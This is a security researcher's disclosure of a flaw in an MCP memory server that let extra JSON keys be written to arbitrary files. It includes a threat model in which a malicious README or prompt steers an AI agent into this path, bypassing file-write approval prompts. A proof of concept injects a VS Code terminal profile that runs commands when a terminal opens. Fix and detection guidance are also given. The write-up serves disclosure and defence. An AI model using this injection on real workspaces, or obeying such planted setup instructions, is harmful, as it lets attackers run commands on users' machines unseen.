What Happened

Anthropic’s Memory MCP Server is designed to help AI agents remember information across conversations by storing entities in a knowledge graph JSON Lines (JSONL) file. According to its documentation, each entity should only contain name, entityType, and observations.

However, the vulnerable implementation accepted and stored additional properties beyond what was documented. That turned “memory persistence” into arbitrary JSON injection, enabling persistent VS Code configuration injection and terminal profile hijacking.

Why This Matters for Agents

In MCP, this becomes capability laundering: a “memory” server can, via side effects, behave like an arbitrary write capability, without the client ever invoking a file-write tool explicitly.

I discovered this vulnerability and reported it to Anthropic on September 11, 2025. They patched it through my PR #2726. However, when I requested a CVE identifier, they declined and closed the report as “informative”, despite the security implications.

TL;DR

  • Issue: In the vulnerable version, the tool schema did not forbid extra properties (missing additionalProperties: false) and the server persisted those properties (...e spread during serialization). (schema / serialization)
  • Impact: Through capability laundering, AI agents gain the ability to write arbitrary JSON properties to configuration files. This enables persistent configuration injection in VS Code, leading to terminal profile hijacking where malicious commands execute automatically when a terminal is opened.
  • Preconditions: Attacker influences an AI agent (MCP client) to configure server-memory to persist to a workspace config file, then to call create_entities with extra keys.
  • Affected: @modelcontextprotocol/server-memory before 2025.9.25.
  • Fix: 2025.9.25 adds strict schema validation and output sanitization. (PR #2726 / schema hardening / serialization hardening)
  • Class: MCP capability laundering via server side effects bypassing “file write” approvals by writing to disk during ordinary tool calls.

Related to the VS Code configuration injection class of issues (e.g. CVE-2025-61590 in Cursor), but with different preconditions.

Threat Model: Capability Laundering

Agent Influence Surface

The attacker doesn’t need a direct file-write capability. They only need to influence what the agent treats as a “routine” tool setup and a “normal” tool call (e.g. via prompts, READMEs, or setup instructions).

Why This Scales in MCP

  • Composability: agents routinely compose multiple MCP servers, so side effects can chain across “innocent” capabilities.
  • Contract confusion: users reason about tool names (“memory”), while the actual effect can match a different capability (“write”).
  • Policy mismatch: controls often gate explicit tool invocations, not the effects produced via server side effects.

Laundering Walkthrough

Capability laundering is when the agent calls one tool, but gets a different capability’s effect via side effects:

  1. A malicious prompt or README convinces an agent to configure the Memory MCP Server to persist to a workspace file (e.g. .vscode/settings.json).
  2. The agent then issues normal memory operations (create_entities) that include attacker-chosen extra keys.
  3. The MCP server (not the agent’s file tool) writes the payload into the target file as part of its “memory persistence”.
  4. The agent never calls an explicit “write file” tool, so any approval UI that only gates direct file writes is bypassed through capability laundering.
  5. The effect persists and triggers later (e.g. when a user opens the VS Code integrated terminal).

The key point: the agent treats “running a standard MCP server + calling its tools” as routine and allowed, even though it effectively becomes a file-write primitive to sensitive configuration paths through capability laundering.

sequenceDiagram
  participant A as Malicious README/Prompt
  participant U as User
  participant G as AI Agent (Claude Code)
  participant M as Memory MCP Server
  participant F as File (.vscode/settings.json)
  participant V as VS Code Terminal

  A->>U: "Setup/optimize instructions"
  U->>G: "Please follow the setup"
  G->>M: Start server-memory configured to persist to .vscode/settings.json
  Note over G,M: No explicit agent file-write action
  G->>M: tools/call create_entities (extra keys)
  M->>F: writeFile(settings.json)
  U->>V: Open integrated terminal
  V-->>U: Executes injected profile args

Generalized Pattern

In agentic MCP workflows, the dangerous part is that the agent doesn’t need to call an explicit file-write tool at all — the server writes as a side effect of routine tool calls.

This is the reusable pattern that creates capability laundering risk:

  1. Configurable persistence target (server can be pointed at a workspace file)
  2. Permissive input boundary (schema accepts attacker-chosen extra keys)
  3. Permissive output/persistence (serialization re-emits those keys to disk)

Technical Root Cause

The Model Context Protocol (MCP) lets agents invoke external tools via MCP servers. Memory MCP Server is a reference implementation in modelcontextprotocol/servers that persists its knowledge graph as JSONL. (README)

The Vulnerable Code

The intended entity schema is documented as name, entityType, observations. (README)

But in the vulnerable version, the implementation had two flaws:

// FLAW 1: Tool schema didn't forbid extra properties (missing additionalProperties: false)
// Source: src/memory/index.ts (pre-fix) create_entities schema:
// https://github.com/modelcontextprotocol/servers/blob/1bd3734e722876b6d7b30583c4d16afa5e0de615/src/memory/index.ts#L203
items: {
  type: "object",
  properties: { name, entityType, observations },
  required: ["name", "entityType", "observations"],
  // missing: additionalProperties: false
}

// FLAW 2: Serialization persisted all properties via spread
// Source: src/memory/index.ts (pre-fix) saveGraph:
// https://github.com/modelcontextprotocol/servers/blob/1bd3734e722876b6d7b30583c4d16afa5e0de615/src/memory/index.ts#L61
private async saveGraph(graph: KnowledgeGraph): Promise<void> {
  const lines = [
    ...graph.entities.map(e => JSON.stringify({ type: "entity", ...e })),
    ...graph.relations.map(r => JSON.stringify({ type: "relation", ...r })),
  ];
  await fs.writeFile(MEMORY_FILE_PATH, lines.join("\n"));
}

Why This Becomes Arbitrary Write

Missing additionalProperties: false and an unsafe spread operator turn a “memory store” into a configuration-writing primitive: attacker-controlled extra keys survive validation and get persisted to disk.

If you’re not familiar with JSON Schema’s additionalProperties, see: https://json-schema.org/understanding-json-schema/reference/object#additionalproperties

Proof of Concept: VS Code Terminal Hijacking

This PoC uses VS Code terminal profiles as a clean persistence + execution demonstration; the same primitive generalizes to other “configuration is code” files.

Setup

Step 1: Create innocent VS Code project

Creating innocent VS Code project with default settings before Memory MCP Server attack

mkdir -p ~/Desktop/vscode-memory-exploit-poc/.vscode
echo '{"editor.fontSize":50,"editor.tabSize":2}' > ~/Desktop/vscode-memory-exploit-poc/.vscode/settings.json

Original innocent VS Code configuration file showing only editor settings

Step 2: Target VS Code configuration and start Memory MCP Server

export MEMORY_FILE_PATH="$HOME/Desktop/vscode-memory-exploit-poc/.vscode/settings.json"
npx -y @modelcontextprotocol/server-memory

Memory MCP Server initialization and setup process

Injection

Step 3: Inject malicious configuration through MCP protocol

Executing configuration injection attack via Memory MCP Server create_entities tool

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "create_entities",
    "arguments": {
      "entities": [
        {
          "name": "vscode-config",
          "entityType": "editor",
          "observations": ["compromised VS Code settings"],
          "terminal.integrated.defaultProfile.osx": "bash",
          "terminal.integrated.profiles.osx": {
            "bash": {
              "path": "/bin/bash",
              "args": ["-c", "echo 'VS CODE COMPROMISED' && whoami && exec bash"]
            }
          }
        }
      ]
    }
  }
}

These terminal.integrated.* keys are documented by VS Code (terminal profiles): https://code.visualstudio.com/docs/terminal/profiles

Step 4: Verify configuration compromise

VS Code settings.json successfully compromised with malicious terminal configuration

The VS Code settings.json now contains:

{
  "type": "entity",
  "name": "vscode-config",
  "entityType": "editor",
  "observations": ["compromised VS Code settings"],
  "terminal.integrated.defaultProfile.osx": "bash",
  "terminal.integrated.profiles.osx": {
    "bash": {
      "path": "/bin/bash",
      "args": ["-c", "echo 'VS CODE COMPROMISED' && whoami && exec bash"]
    }
  }
}

VS Code ignores the unknown type, name, entityType, and observations properties but executes the valid terminal configuration.

Trigger

Step 5: Trigger payload execution

VS Code terminal executing injected malicious commands on launch

Opening a new terminal in VS Code (Cmd+Shift+Backtick) immediately executes the injected commands.

Result: commands execute in the VS Code integrated terminal when a terminal is opened.

Capability masquerade in one line: a “memory” tool call produces an “arbitrary write” effect, without invoking a write capability explicitly.

Fix and Mitigations

Fix

PR #2726 fixed both root causes:

  1. Schema hardening: add additionalProperties: false to reject unknown keys at the tool boundary. (fix)
  2. Serialization hardening: remove object spread and only write allowlisted properties to disk. (fix)

The fix is included in the modelcontextprotocol/servers release tag 2025.9.25 and later.

Immediate Actions

  1. Update to modelcontextprotocol/servers release 2025.9.25+ (or ensure your installed @modelcontextprotocol/server-memory includes PR #2726).
  2. Audit .vscode/settings.json for unexpected terminal.integrated.* keys (VS Code terminal profiles: https://code.visualstudio.com/docs/terminal/profiles) and for “memory-shaped” keys (type, name, entityType, observations) appearing in the same object.

Example indicator:

{
  "type": "entity",
  "name": "...",
  "entityType": "...",
  "observations": [...],
  "terminal.integrated.profiles.osx": { "...": "..." }
}

Ecosystem Guidance

  • MCP servers: Enforce the contract: reject unknown keys (additionalProperties: false) and allowlist what gets serialized to disk.
  • MCP servers: Declare side effects explicitly (especially persistence) and constrain what can be targeted by configuration.
  • MCP clients/agents: Move from tool-based gating to effect-based gating (capability accounting): treat persistence/write effects as first-class capabilities, even when triggered indirectly.

Responsibility and Disclosure

Responsibility Boundary

A key question in the MCP ecosystem is where the security boundary actually lives: the MCP client (agent) or the MCP server.

In this case, the server documented a tight contract for entities (name, entityType, observations) but the vulnerable implementation accepted and persisted arbitrary extra keys (schema / write path). That’s what turns “memory” into a write primitive and enables capability laundering.

Responsibility-wise:

  • Servers must enforce their own contracts (reject unknown keys; allowlist what gets written), because the server controls the side effect.
  • Clients/agents should treat server-side persistence as a privileged capability, not a harmless implementation detail, and gate/log it accordingly.

For context, the MCP steering group has assigned CVEs to other server-side issues with configuration-dependent exploitation, e.g. CVE-2025-53110.

Timeline

September 11, 2025: Discovered and reported via HackerOne #3334232 (with full PoC)

September 18, 2025: PR submitted and Fix merged (PR #2726, commit 52ab84c) and later released in 2025.9.25

December 4, 2025: Final closure as “Informative” (“doesn’t meet the bar for a CVE”), no CVE, no security advisory

The outcome: Memory MCP Server had a server-side implementation flaw that enabled capability laundering. It was patched with server-side security controls. But it received no CVE and no security advisory.

Conclusion

The Memory MCP Server violated its stated schema contract by accepting and persisting arbitrary properties. In agentic MCP deployments, that turns a “safe” memory server into an arbitrary-write effect: configuration injection and terminal profile hijacking can occur without invoking a write capability.

This is why MCP needs effect-based capability accounting: side effects should be explicit and gateable, not an implementation detail hidden behind a tool label.

The fix is included in modelcontextprotocol/servers release 2025.9.25; if you used server-memory before this version, audit .vscode/settings.json for injected properties.


References:

Aonan Guan | Security Researcher | LinkedIn | GitHub | Related work in Microsoft Agentic Web Featured by The Verge